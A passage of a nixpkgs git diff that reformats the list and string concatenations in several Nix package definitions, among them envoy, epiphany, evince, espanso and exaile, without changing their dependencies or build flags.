@@ -19,13 +19,14 @@ python3.pkgs.buildPythonApplication rec {
 
   build-system = with python3.pkgs; [ setuptools ];
 
-  dependencies =
-    [ samba ]
-    ++ (with python3.pkgs; [
-      impacket
-      ldap3
-      pyyaml
-    ]);
+  dependencies = [
+    samba
+  ]
+  ++ (with python3.pkgs; [
+    impacket
+    ldap3
+    pyyaml
+  ]);
 
   # It's only a script and not a Python module. Project has no tests
   doCheck = false;
diff --git a/pkgs/by-name/en/envchain/package.nix b/pkgs/by-name/en/envchain/package.nix
index ef7e7d881656..db83e0553e8f 100644
--- a/pkgs/by-name/en/envchain/package.nix
+++ b/pkgs/by-name/en/envchain/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libsecret
-      readline
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libedit
-      ncurses
-    ];
+  buildInputs = [
+    libsecret
+    readline
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libedit
+    ncurses
+  ];
 
   makeFlags = [ "DESTDIR=$(out)" ];
 
diff --git a/pkgs/by-name/en/envision/package.nix b/pkgs/by-name/en/envision/package.nix
index d1e8b798d02a..60361501033d 100644
--- a/pkgs/by-name/en/envision/package.nix
+++ b/pkgs/by-name/en/envision/package.nix
@@ -149,28 +149,27 @@ buildFHSEnv {
       allProfilesPresent = testers.runCommand {
         name = "envision-all-profiles-present-test";
         # TODO: Is there a better way to escape ${}?
-        script =
-          ''
-            export ALL_PROFILES=(${lib.concatStringsSep " " (profiles ++ [ "UUID" ])})
-            export ENVISION_PROFILES=($(envision -l | grep -oP '^\w+(?=:)'))
+        script = ''
+          export ALL_PROFILES=(${lib.concatStringsSep " " (profiles ++ [ "UUID" ])})
+          export ENVISION_PROFILES=($(envision -l | grep -oP '^\w+(?=:)'))
 
-            # This is dark magic
-            missing_from_array=($(grep -vf <(printf "%s\n" "$''
-          + ''{ALL_PROFILES[@]}") <(printf "%s\n" "$''
-          + ''
-            {ENVISION_PROFILES[@]}") || true))
+          # This is dark magic
+          missing_from_array=($(grep -vf <(printf "%s\n" "$''
+        + ''{ALL_PROFILES[@]}") <(printf "%s\n" "$''
+        + ''
+          {ENVISION_PROFILES[@]}") || true))
 
-                      if [ $''
-          + ''
-            {#missing_from_array[@]} -gt 0 ]; then
-                        echo "Missing profiles: $''
-          + ''
-            {missing_from_array[@]}"
-                        exit 1
-                      fi
+                    if [ $''
+        + ''
+          {#missing_from_array[@]} -gt 0 ]; then
+                      echo "Missing profiles: $''
+        + ''
+          {missing_from_array[@]}"
+                      exit 1
+                    fi
 
-                      touch $out
-          '';
+                    touch $out
+        '';
         nativeBuildInputs = [ envision ];
       };
     }
diff --git a/pkgs/by-name/en/envoy/package.nix b/pkgs/by-name/en/envoy/package.nix
index 0246405d0bbf..e856856960a7 100644
--- a/pkgs/by-name/en/envoy/package.nix
+++ b/pkgs/by-name/en/envoy/package.nix
@@ -211,40 +211,39 @@ buildBazelPackage rec {
   removeLocalConfigCc = true;
   removeLocal = false;
   bazelTargets = [ "//source/exe:envoy-static" ];
-  bazelBuildFlags =
-    [
-      "-c opt"
-      "--spawn_strategy=standalone"
-      "--noexperimental_strict_action_env"
-      "--cxxopt=-Wno-error"
-      "--linkopt=-Wl,-z,noexecstack"
-      "--config=gcc"
-      "--verbose_failures"
+  bazelBuildFlags = [
+    "-c opt"
+    "--spawn_strategy=standalone"
+    "--noexperimental_strict_action_env"
+    "--cxxopt=-Wno-error"
+    "--linkopt=-Wl,-z,noexecstack"
+    "--config=gcc"
+    "--verbose_failures"
 
-      # Force use of system Java.
-      "--extra_toolchains=@local_jdk//:all"
-      "--java_runtime_version=local_jdk"
-      "--tool_java_runtime_version=local_jdk"
+    # Force use of system Java.
+    "--extra_toolchains=@local_jdk//:all"
+    "--java_runtime_version=local_jdk"
+    "--tool_java_runtime_version=local_jdk"
 
-      # Force use of system Rust.
-      "--extra_toolchains=//bazel/nix:rust_nix_aarch64,//bazel/nix:rust_nix_x86_64"
+    # Force use of system Rust.
+    "--extra_toolchains=//bazel/nix:rust_nix_aarch64,//bazel/nix:rust_nix_x86_64"
 
-      # undefined reference to 'grpc_core::*Metadata*::*Memento*
-      #
-      # During linking of the final binary, we see undefined references to grpc_core related symbols.
-      # The missing symbols would be instantiations of a template class from https://github.com/grpc/grpc/blob/v1.59.4/src/core/lib/transport/metadata_batch.h
-      # "ParseMemento" and "MementoToValue" are only implemented for some types
-      # and appear unused and unimplemented for the undefined cases reported by the linker.
-      "--linkopt=-Wl,--unresolved-symbols=ignore-in-object-files"
+    # undefined reference to 'grpc_core::*Metadata*::*Memento*
+    #
+    # During linking of the final binary, we see undefined references to grpc_core related symbols.
+    # The missing symbols would be instantiations of a template class from https://github.com/grpc/grpc/blob/v1.59.4/src/core/lib/transport/metadata_batch.h
+    # "ParseMemento" and "MementoToValue" are only implemented for some types
+    # and appear unused and unimplemented for the undefined cases reported by the linker.
+    "--linkopt=-Wl,--unresolved-symbols=ignore-in-object-files"
 
-      "--define=wasm=${wasmRuntime}"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isAarch64 [
-      # external/com_github_google_tcmalloc/tcmalloc/internal/percpu_tcmalloc.h:611:9: error: expected ':' or '::' before '[' token
-      #   611 |       : [end_ptr] "=&r"(end_ptr), [cpu_id] "=&r"(cpu_id),
-      #       |         ^
-      "--define=tcmalloc=disabled"
-    ]);
+    "--define=wasm=${wasmRuntime}"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isAarch64 [
+    # external/com_github_google_tcmalloc/tcmalloc/internal/percpu_tcmalloc.h:611:9: error: expected ':' or '::' before '[' token
+    #   611 |       : [end_ptr] "=&r"(end_ptr), [cpu_id] "=&r"(cpu_id),
+    #       |         ^
+    "--define=tcmalloc=disabled"
+  ]);
 
   bazelFetchFlags = [
     "--define=wasm=${wasmRuntime}"
diff --git a/pkgs/by-name/ep/epic5/package.nix b/pkgs/by-name/ep/epic5/package.nix
index d106d64c658b..ae822e72a2b7 100644
--- a/pkgs/by-name/ep/epic5/package.nix
+++ b/pkgs/by-name/ep/epic5/package.nix
@@ -20,17 +20,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Y6QRIVwUBAtltdcor/EPdSPVXhcPYpj7AeHPlY150yY=";
   };
 
-  buildInputs =
-    [
-      openssl
-      ncurses
-      libxcrypt
-      ruby
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      tcl
-    ];
+  buildInputs = [
+    openssl
+    ncurses
+    libxcrypt
+    ruby
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    tcl
+  ];
 
   configureFlags = [
     "--with-ipv6"
diff --git a/pkgs/by-name/ep/epiphany/package.nix b/pkgs/by-name/ep/epiphany/package.nix
index 6ac61bc3b2f5..6ccfd7a990a5 100644
--- a/pkgs/by-name/ep/epiphany/package.nix
+++ b/pkgs/by-name/ep/epiphany/package.nix
@@ -73,46 +73,44 @@ stdenv.mkDerivation (finalAttrs: {
     buildPackages.gtk4
   ];
 
-  buildInputs =
-    [
-      gcr_4
-      gdk-pixbuf
-      glib
-      glib-networking
-      gnome-desktop
-      gst_all_1.gst-libav
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gst-plugins-ugly
-      gst_all_1.gstreamer
-      gtk4
-      icu
-      isocodes
-      json-glib
-      libadwaita
-      libportal-gtk4
-      libarchive
-      libsecret
-      libsoup_3
-      libxml2
-      nettle
-      p11-kit
-      sqlite
-      webkitgtk_6_0
-    ]
-    ++ lib.optionals withPantheon [
-      pantheon.granite7
-    ];
+  buildInputs = [
+    gcr_4
+    gdk-pixbuf
+    glib
+    glib-networking
+    gnome-desktop
+    gst_all_1.gst-libav
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-plugins-ugly
+    gst_all_1.gstreamer
+    gtk4
+    icu
+    isocodes
+    json-glib
+    libadwaita
+    libportal-gtk4
+    libarchive
+    libsecret
+    libsoup_3
+    libxml2
+    nettle
+    p11-kit
+    sqlite
+    webkitgtk_6_0
+  ]
+  ++ lib.optionals withPantheon [
+    pantheon.granite7
+  ];
 
   # Tests need an X display
-  mesonFlags =
-    [
-      "-Dunit_tests=disabled"
-    ]
-    ++ lib.optionals withPantheon [
-      "-Dgranite=enabled"
-    ];
+  mesonFlags = [
+    "-Dunit_tests=disabled"
+  ]
+  ++ lib.optionals withPantheon [
+    "-Dgranite=enabled"
+  ];
 
   passthru = {
     updateScript = gnome.updateScript {
diff --git a/pkgs/by-name/ep/epoll-shim/package.nix b/pkgs/by-name/ep/epoll-shim/package.nix
index 34731bd53579..a618150a8f70 100644
--- a/pkgs/by-name/ep/epoll-shim/package.nix
+++ b/pkgs/by-name/ep/epoll-shim/package.nix
@@ -20,15 +20,14 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
   ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_INSTALL_PKGCONFIGDIR=${placeholder "out"}/lib/pkgconfig"
-      "-DBUILD_TESTING=${lib.boolToString finalAttrs.finalPackage.doCheck}"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform && stdenv.hostPlatform.isFreeBSD) [
-      # fails in cross configurations for not being able to detect this value
-      "-DALLOWS_ONESHOT_TIMERS_WITH_TIMEOUT_ZERO=YES"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_INSTALL_PKGCONFIGDIR=${placeholder "out"}/lib/pkgconfig"
+    "-DBUILD_TESTING=${lib.boolToString finalAttrs.finalPackage.doCheck}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform && stdenv.hostPlatform.isFreeBSD) [
+    # fails in cross configurations for not being able to detect this value
+    "-DALLOWS_ONESHOT_TIMERS_WITH_TIMEOUT_ZERO=YES"
+  ];
 
   # https://github.com/jiixyj/epoll-shim/issues/41
   # https://github.com/jiixyj/epoll-shim/pull/34
diff --git a/pkgs/by-name/ep/epsonscan2/package.nix b/pkgs/by-name/ep/epsonscan2/package.nix
index 358012828acc..1693a496377c 100644
--- a/pkgs/by-name/ep/epsonscan2/package.nix
+++ b/pkgs/by-name/ep/epsonscan2/package.nix
@@ -76,64 +76,60 @@ stdenv.mkDerivation {
       --replace-fail '@OCR_ENGINE_GETROTATE@' $out/libexec/epsonscan2-ocr/ocr-engine-getrotate
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals withGui [
-      imagemagick # to make icons
-      wrapQtAppsHook
-    ]
-    ++ lib.optionals withNonFreePlugins [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals withGui [
+    imagemagick # to make icons
+    wrapQtAppsHook
+  ]
+  ++ lib.optionals withNonFreePlugins [
+    autoPatchelfHook
+  ];
 
-  buildInputs =
-    [
-      boost186 # uses Boost.Optional but epsonscan2 is pre-C++11.
-      libjpeg
-      libpng
-      libtiff
-      libusb1
-    ]
-    ++ lib.optionals withGui [
-      copyDesktopItems
-      qtbase
-    ]
-    ++ lib.optionals withNonFreePlugins [
-      libtool.lib
-    ];
+  buildInputs = [
+    boost186 # uses Boost.Optional but epsonscan2 is pre-C++11.
+    libjpeg
+    libpng
+    libtiff
+    libusb1
+  ]
+  ++ lib.optionals withGui [
+    copyDesktopItems
+    qtbase
+  ]
+  ++ lib.optionals withNonFreePlugins [
+    libtool.lib
+  ];
 
-  cmakeFlags =
-    [
-      # The non-free (Debian) packages uses this directory structure so do the same when compiling
-      # from source so we can easily merge them.
-      "-DCMAKE_INSTALL_LIBDIR=lib/${system}-gnu"
-    ]
-    ++ lib.optionals (!withGui) [
-      "-DNO_GUI=ON"
-    ];
+  cmakeFlags = [
+    # The non-free (Debian) packages uses this directory structure so do the same when compiling
+    # from source so we can easily merge them.
+    "-DCMAKE_INSTALL_LIBDIR=lib/${system}-gnu"
+  ]
+  ++ lib.optionals (!withGui) [
+    "-DNO_GUI=ON"
+  ];
 
-  postInstall =
-    ''
-      # But when we put all the libraries in lib/${system}-gnu, then SANE can't find the
-      # required libraries so create a symlink to where it expects them to be.
-      mkdir -p $out/lib/sane
-      for file in $out/lib/${system}-gnu/sane/*.so.*; do
-        ln -s $file $out/lib/sane/
-      done
-    ''
-    + lib.optionalString withGui ''
-      # The icon file extension is .ico but it's actually a png!
-      mkdir -p $out/share/icons/hicolor/{48x48,128x128}/apps
-      magick $src/Resources/Icons/escan2_app.ico -resize 48x48 -delete 1,2,3 $out/share/icons/hicolor/48x48/apps/epsonscan2.png
-      magick $src/Resources/Icons/escan2_app.ico -resize 128x128 -delete 1,2,3 $out/share/icons/hicolor/128x128/apps/epsonscan2.png
-    ''
-    + lib.optionalString withNonFreePlugins ''
-      ar xf ${bundle}/plugins/epsonscan2-non-free-plugin_*.deb
-      tar Jxf data.tar.xz
-      cp -r usr/* $out
-    '';
+  postInstall = ''
+    # But when we put all the libraries in lib/${system}-gnu, then SANE can't find the
+    # required libraries so create a symlink to where it expects them to be.
+    mkdir -p $out/lib/sane
+    for file in $out/lib/${system}-gnu/sane/*.so.*; do
+      ln -s $file $out/lib/sane/
+    done
+  ''
+  + lib.optionalString withGui ''
+    # The icon file extension is .ico but it's actually a png!
+    mkdir -p $out/share/icons/hicolor/{48x48,128x128}/apps
+    magick $src/Resources/Icons/escan2_app.ico -resize 48x48 -delete 1,2,3 $out/share/icons/hicolor/48x48/apps/epsonscan2.png
+    magick $src/Resources/Icons/escan2_app.ico -resize 128x128 -delete 1,2,3 $out/share/icons/hicolor/128x128/apps/epsonscan2.png
+  ''
+  + lib.optionalString withNonFreePlugins ''
+    ar xf ${bundle}/plugins/epsonscan2-non-free-plugin_*.deb
+    tar Jxf data.tar.xz
+    cp -r usr/* $out
+  '';
 
   desktopItems = lib.optionals withGui [
     (makeDesktopItem {
diff --git a/pkgs/by-name/eq/equibop/package.nix b/pkgs/by-name/eq/equibop/package.nix
index b52c61d53b76..56c6f5540c0d 100644
--- a/pkgs/by-name/eq/equibop/package.nix
+++ b/pkgs/by-name/eq/equibop/package.nix
@@ -63,13 +63,14 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.getLib stdenv.cc.cc)
   ];
 
-  patches =
-    [ ./disable_update_checking.patch ]
-    ++ lib.optional withSystemEquicord (
-      replaceVars ./use_system_equicord.patch {
-        inherit equicord;
-      }
-    );
+  patches = [
+    ./disable_update_checking.patch
+  ]
+  ++ lib.optional withSystemEquicord (
+    replaceVars ./use_system_equicord.patch {
+      inherit equicord;
+    }
+  );
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
diff --git a/pkgs/by-name/er/ergoscf/package.nix b/pkgs/by-name/er/ergoscf/package.nix
index d074d974c123..897edc536454 100644
--- a/pkgs/by-name/er/ergoscf/package.nix
+++ b/pkgs/by-name/er/ergoscf/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--enable-linalgebra-templates"
     "--enable-performance"
-  ] ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-sse-intrinsics";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-sse-intrinsics";
 
   env = {
     # Required for compilation with gcc-14
diff --git a/pkgs/by-name/er/erofs-utils/package.nix b/pkgs/by-name/er/erofs-utils/package.nix
index 849325513b88..4ee54cea8616 100644
--- a/pkgs/by-name/er/erofs-utils/package.nix
+++ b/pkgs/by-name/er/erofs-utils/package.nix
@@ -37,27 +37,25 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
     pkg-config
   ];
-  buildInputs =
-    [
-      util-linux
-      xxHash
-      lz4
-      zlib
-      xz
-      zstd
-      libdeflate
-    ]
-    ++ lib.optionals fuseSupport [ fuse ]
-    ++ lib.optionals selinuxSupport [ libselinux ];
+  buildInputs = [
+    util-linux
+    xxHash
+    lz4
+    zlib
+    xz
+    zstd
+    libdeflate
+  ]
+  ++ lib.optionals fuseSupport [ fuse ]
+  ++ lib.optionals selinuxSupport [ libselinux ];
 
-  configureFlags =
-    [
-      "MAX_BLOCK_SIZE=4096"
-      "--enable-multithreading"
-      "--with-libdeflate"
-    ]
-    ++ lib.optional fuseSupport "--enable-fuse"
-    ++ lib.optional selinuxSupport "--with-selinux";
+  configureFlags = [
+    "MAX_BLOCK_SIZE=4096"
+    "--enable-multithreading"
+    "--with-libdeflate"
+  ]
+  ++ lib.optional fuseSupport "--enable-fuse"
+  ++ lib.optional selinuxSupport "--with-selinux";
 
   meta = with lib; {
     homepage = "https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git/about/";
diff --git a/pkgs/by-name/es/espanso/package.nix b/pkgs/by-name/es/espanso/package.nix
index e9217bbf40a0..33649bc9ab18 100644
--- a/pkgs/by-name/es/espanso/package.nix
+++ b/pkgs/by-name/es/espanso/package.nix
@@ -51,41 +51,39 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   # Ref: https://github.com/espanso/espanso/blob/78df1b704fe2cc5ea26f88fdc443b6ae1df8a989/scripts/build_binary.rs#LL49C3-L62C4
   buildNoDefaultFeatures = true;
-  buildFeatures =
-    [
-      "modulo"
-    ]
-    ++ lib.optionals waylandSupport [
-      "wayland"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "vendored-tls"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "native-tls"
-    ];
+  buildFeatures = [
+    "modulo"
+  ]
+  ++ lib.optionals waylandSupport [
+    "wayland"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "vendored-tls"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "native-tls"
+  ];
 
-  buildInputs =
-    [
-      libpng
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      openssl
-      dbus
-      libnotify
-      libxkbcommon
-    ]
-    ++ lib.optionals waylandSupport [
-      wl-clipboard
-    ]
-    ++ lib.optionals x11Support [
-      libXi
-      libXtst
-      libX11
-      xclip
-      xdotool
-    ];
+  buildInputs = [
+    libpng
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    openssl
+    dbus
+    libnotify
+    libxkbcommon
+  ]
+  ++ lib.optionals waylandSupport [
+    wl-clipboard
+  ]
+  ++ lib.optionals x11Support [
+    libXi
+    libXtst
+    libX11
+    xclip
+    xdotool
+  ];
 
   postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
     substituteInPlace scripts/create_bundle.sh \
diff --git a/pkgs/by-name/es/espflash/package.nix b/pkgs/by-name/es/espflash/package.nix
index 266144cd4808..ecedcbe64143 100644
--- a/pkgs/by-name/es/espflash/package.nix
+++ b/pkgs/by-name/es/espflash/package.nix
@@ -29,11 +29,12 @@ rustPlatform.buildRustPackage rec {
   # Needed to get openssl-sys to use pkg-config.
   OPENSSL_NO_VENDOR = 1;
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      udev
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    udev
+  ];
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-WEPSXgHR7wA2zWbc8ogVxDRtXcmR20R14Qwo2VqPLrQ=";
diff --git a/pkgs/by-name/ev/evince/package.nix b/pkgs/by-name/ev/evince/package.nix
index 977b8b78b30d..004a42885bfb 100644
--- a/pkgs/by-name/ev/evince/package.nix
+++ b/pkgs/by-name/ev/evince/package.nix
@@ -73,54 +73,52 @@ stdenv.mkDerivation (finalAttrs: {
     yelp-tools
   ];
 
-  buildInputs =
+  buildInputs = [
+    atk
+    dbus # only needed to find the service directory
+    djvulibre
+    gdk-pixbuf
+    ghostscriptX
+    glib
+    gnome-desktop
+    gsettings-desktop-schemas
+    gspell
+    gtk3
+    libarchive
+    libgxps
+    libhandy
+    librsvg
+    libspectre
+    libxml2
+    pango
+    poppler
+    texlive.bin.core # kpathsea for DVI support
+  ]
+  ++ lib.optionals withLibsecret [
+    libsecret
+  ]
+  ++ lib.optionals supportMultimedia (
+    with gst_all_1;
     [
-      atk
-      dbus # only needed to find the service directory
-      djvulibre
-      gdk-pixbuf
-      ghostscriptX
-      glib
-      gnome-desktop
-      gsettings-desktop-schemas
-      gspell
-      gtk3
-      libarchive
-      libgxps
-      libhandy
-      librsvg
-      libspectre
-      libxml2
-      pango
-      poppler
-      texlive.bin.core # kpathsea for DVI support
+      gstreamer
+      gst-plugins-base
+      gst-plugins-good
+      gst-plugins-bad
+      gst-plugins-ugly
+      gst-libav
     ]
-    ++ lib.optionals withLibsecret [
-      libsecret
-    ]
-    ++ lib.optionals supportMultimedia (
-      with gst_all_1;
-      [
-        gstreamer
-        gst-plugins-base
-        gst-plugins-good
-        gst-plugins-bad
-        gst-plugins-ugly
-        gst-libav
-      ]
-    );
+  );
 
-  mesonFlags =
-    [
-      "-Dnautilus=false"
-      "-Dps=enabled"
-    ]
-    ++ lib.optionals (!withLibsecret) [
-      "-Dkeyring=disabled"
-    ]
-    ++ lib.optionals (!supportMultimedia) [
-      "-Dmultimedia=disabled"
-    ];
+  mesonFlags = [
+    "-Dnautilus=false"
+    "-Dps=enabled"
+  ]
+  ++ lib.optionals (!withLibsecret) [
+    "-Dkeyring=disabled"
+  ]
+  ++ lib.optionals (!supportMultimedia) [
+    "-Dmultimedia=disabled"
+  ];
 
   preFixup = ''
     gappsWrapperArgs+=(--prefix XDG_DATA_DIRS : "${shared-mime-info}/share")
diff --git a/pkgs/by-name/ev/evolution-data-server/package.nix b/pkgs/by-name/ev/evolution-data-server/package.nix
index 17aa71b77cef..cce250eb563f 100644
--- a/pkgs/by-name/ev/evolution-data-server/package.nix
+++ b/pkgs/by-name/ev/evolution-data-server/package.nix
@@ -87,40 +87,39 @@ stdenv.mkDerivation rec {
     vala
   ];
 
-  buildInputs =
-    [
-      glib
-      libsecret
-      libsoup_3
-      gnome-online-accounts
-      p11-kit
-      libgweather
-      icu
-      sqlite
-      libkrb5
-      openldap
-      glib-networking
-      libcanberra-gtk3
-      libphonenumber
-      libuuid
-      boost
-      protobuf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals withGtk3 [
-      gtk3
-    ]
-    ++ lib.optionals (withGtk3 && enableOAuth2) [
-      webkitgtk_4_1
-    ]
-    ++ lib.optionals withGtk4 [
-      gtk4
-    ]
-    ++ lib.optionals (withGtk4 && enableOAuth2) [
-      webkitgtk_6_0
-    ];
+  buildInputs = [
+    glib
+    libsecret
+    libsoup_3
+    gnome-online-accounts
+    p11-kit
+    libgweather
+    icu
+    sqlite
+    libkrb5
+    openldap
+    glib-networking
+    libcanberra-gtk3
+    libphonenumber
+    libuuid
+    boost
+    protobuf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals withGtk3 [
+    gtk3
+  ]
+  ++ lib.optionals (withGtk3 && enableOAuth2) [
+    webkitgtk_4_1
+  ]
+  ++ lib.optionals withGtk4 [
+    gtk4
+  ]
+  ++ lib.optionals (withGtk4 && enableOAuth2) [
+    webkitgtk_6_0
+  ];
 
   propagatedBuildInputs = [
     db
@@ -132,22 +131,21 @@ stdenv.mkDerivation rec {
     json-glib
   ];
 
-  cmakeFlags =
-    [
-      "-DENABLE_VALA_BINDINGS=ON"
-      "-DENABLE_INTROSPECTION=ON"
-      "-DINCLUDE_INSTALL_DIR=${placeholder "dev"}/include"
-      "-DWITH_PHONENUMBER=ON"
-      "-DENABLE_GTK=${lib.boolToString withGtk3}"
-      "-DENABLE_EXAMPLES=${lib.boolToString withGtk3}"
-      "-DENABLE_CANBERRA=${lib.boolToString withGtk3}"
-      "-DENABLE_GTK4=${lib.boolToString withGtk4}"
-      "-DENABLE_OAUTH2_WEBKITGTK=${lib.boolToString (withGtk3 && enableOAuth2)}"
-      "-DENABLE_OAUTH2_WEBKITGTK4=${lib.boolToString (withGtk4 && enableOAuth2)}"
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      (lib.cmakeFeature "CMAKE_CROSSCOMPILING_EMULATOR" (stdenv.hostPlatform.emulator buildPackages))
-    ];
+  cmakeFlags = [
+    "-DENABLE_VALA_BINDINGS=ON"
+    "-DENABLE_INTROSPECTION=ON"
+    "-DINCLUDE_INSTALL_DIR=${placeholder "dev"}/include"
+    "-DWITH_PHONENUMBER=ON"
+    "-DENABLE_GTK=${lib.boolToString withGtk3}"
+    "-DENABLE_EXAMPLES=${lib.boolToString withGtk3}"
+    "-DENABLE_CANBERRA=${lib.boolToString withGtk3}"
+    "-DENABLE_GTK4=${lib.boolToString withGtk4}"
+    "-DENABLE_OAUTH2_WEBKITGTK=${lib.boolToString (withGtk3 && enableOAuth2)}"
+    "-DENABLE_OAUTH2_WEBKITGTK4=${lib.boolToString (withGtk4 && enableOAuth2)}"
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    (lib.cmakeFeature "CMAKE_CROSSCOMPILING_EMULATOR" (stdenv.hostPlatform.emulator buildPackages))
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/ex/exaile/package.nix b/pkgs/by-name/ex/exaile/package.nix
index 2c6178c8fc0c..257f47b12c19 100644
--- a/pkgs/by-name/ex/exaile/package.nix
+++ b/pkgs/by-name/ex/exaile/package.nix
@@ -45,51 +45,49 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-9SK0nvGdz2j6qp1JTmSuLezxX/kB93CZReSfAnfKZzg=";
   };
 
-  nativeBuildInputs =
-    [
-      gobject-introspection
-      makeWrapper
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals documentationSupport [
-      help2man
-      python3.pkgs.sphinx
-      python3.pkgs.sphinx-rtd-theme
-    ]
-    ++ lib.optional translationSupport gettext;
+  nativeBuildInputs = [
+    gobject-introspection
+    makeWrapper
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals documentationSupport [
+    help2man
+    python3.pkgs.sphinx
+    python3.pkgs.sphinx-rtd-theme
+  ]
+  ++ lib.optional translationSupport gettext;
 
-  buildInputs =
-    [
-      iconTheme
-      gtk3
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ])
-    ++ (with python3.pkgs; [
-      berkeleydb
-      dbus-python
-      mutagen
-      pygobject3
-      pycairo
-      gst-python
-    ])
-    ++ lib.optional deviceDetectionSupport udisks
-    ++ lib.optional notificationSupport libnotify
-    ++ lib.optional scalableIconSupport librsvg
-    ++ lib.optional ipythonSupport python3.pkgs.ipython
-    ++ lib.optional cdMetadataSupport python3.pkgs.discid
-    ++ lib.optional lastfmSupport python3.pkgs.pylast
-    ++ lib.optional lyricsManiaSupport python3.pkgs.lxml
-    ++ lib.optional multimediaKeySupport keybinder3
-    ++ lib.optional (musicBrainzSupport || cdMetadataSupport) python3.pkgs.musicbrainzngs
-    ++ lib.optional podcastSupport python3.pkgs.feedparser
-    ++ lib.optional wikipediaSupport webkitgtk_4_1;
+  buildInputs = [
+    iconTheme
+    gtk3
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ])
+  ++ (with python3.pkgs; [
+    berkeleydb
+    dbus-python
+    mutagen
+    pygobject3
+    pycairo
+    gst-python
+  ])
+  ++ lib.optional deviceDetectionSupport udisks
+  ++ lib.optional notificationSupport libnotify
+  ++ lib.optional scalableIconSupport librsvg
+  ++ lib.optional ipythonSupport python3.pkgs.ipython
+  ++ lib.optional cdMetadataSupport python3.pkgs.discid
+  ++ lib.optional lastfmSupport python3.pkgs.pylast
+  ++ lib.optional lyricsManiaSupport python3.pkgs.lxml
+  ++ lib.optional multimediaKeySupport keybinder3
+  ++ lib.optional (musicBrainzSupport || cdMetadataSupport) python3.pkgs.musicbrainzngs
+  ++ lib.optional podcastSupport python3.pkgs.feedparser
+  ++ lib.optional wikipediaSupport webkitgtk_4_1;
 
   nativeCheckInputs = with python3.pkgs; [
     pytest
diff --git a/pkgs/by-name/ex/example-robot-data/package.nix b/pkgs/by-name/ex/example-robot-data/package.nix
index 29cee31c54b2..1d08d6b33f61 100644
--- a/pkgs/by-name/ex/example-robot-data/package.nix
+++ b/pkgs/by-name/ex/example-robot-data/package.nix
@@ -28,20 +28,20 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pythonImportsCheckHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    doxygen
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pythonImportsCheckHook
+  ];
 
   propagatedBuildInputs = [
     jrl-cmakemodules
-  ] ++ lib.optionals pythonSupport [ python3Packages.pinocchio ];
+  ]
+  ++ lib.optionals pythonSupport [ python3Packages.pinocchio ];
 
   cmakeFlags = [ (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport) ];
 
diff --git a/pkgs/by-name/ex/exempi/package.nix b/pkgs/by-name/ex/exempi/package.nix
